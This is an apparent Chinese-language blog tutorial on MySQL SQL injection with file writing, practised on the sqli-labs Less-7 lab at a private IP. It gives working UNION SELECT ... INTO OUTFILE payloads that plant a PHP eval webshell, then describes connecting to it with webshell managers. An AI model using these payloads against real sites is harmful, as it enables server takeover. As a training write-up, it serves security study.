Sql注入文件上传
1、sql知识基础
secure_file_priv
参数
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能导出导入。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
可以使用下面语句查看该值:
show variables like ‘%secure%’;
secure_file_priv的值可以修改,在MySQL安装路径下的my.ini文件中
因为此次测试需要读写权限,我将其值修改为我的网站根目录。
修改之后记得重新启动MySQL服务
然后查询
2、文件上传语句及条件
into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
在这个案例中可以把值修改为我们上传的语句,目录修改为我们知道的目标靶机的目录。
3、上传成功条件
1)要有file_priv权限
2)知道网站绝对路径
(可以通过报错信息、phpinfo界面、404界面等一些方式知道)
3)要能用union
4)对web目录有写权限
5)select <?php @($\_POST['xx']);?> into outfile “绝对路径/文件名”
3、实验步骤
1)?id=xx union select 1,2,"<?php @($\_POST['xx']);?> into outfile “文件路径”–+
2)蚁剑、哥斯拉连接即可
4、一句话木马
<?php @eval($_POST['password']);?>
password是预留密码,可以自定义,在进行webshell后台登陆工具登录时使用
更多一句话木马了解可以参考一句话木马
5、靶场注入
5.1 确定注入点及闭合方式
http://192.168.140.130/sq/Less-7/?id=1
http://192.168.140.130/sq/Less-7/?id=2
我们发现页面回显一致,当我们加入单引号,页面报错,存在注入点,将单引号闭合,报错,闭合方式不是单引号,用" "
,没有报错,但是使用1=1
和1=2
都没有报错,不是双引号报错,用')
不对,多次尝试,最后发现使用'))
闭合,注释掉不报错,且1=1正确页面,1=2报错
确定闭合方式为'))
5.2 确定列数
http://192.168.140.130/sq/Less-7/?id=1’)) order by 5 --+
http://192.168.140.130/sq/Less-7/?id=1’)) order by 4 --+
http://192.168.140.130/sq/Less-7/?id=1’)) order by 3 --+
order by 3 的时候正确,列数为三
5.3 进行注入
http://192.168.140.130/sq/Less-7/?id=1’)) union select 1,2,3 --+
没有回显,且页面回显提醒我们使用文件注入
5.4 进行文件上传注入
构造一句话上传木马注入语句
http://192.168.140.130/sq/Less-7/?id=1’)) union select 1,“<?php @eval($_POST['pwd']); ?>”,3 into outfile “C:\phpStudy_64\phpstudy_pro\WWW” --+
当我们执行语句页面回显还是报错,但实际已经上传成功。可以在上传目录查看
有时这个会被防火墙阻挡,可以关闭防火墙或者容许文件存在。
打开查看内容
5.5 使用webshell工具进行连接
打开webshell工具
添加
url地址因为我是在虚拟机进行的,所以为本地地址,连接密码为一句话木马设置的密码。
连接之后就相当于控制这台电脑了
至此,注入目标达成,欢迎大家指点评论,互相进步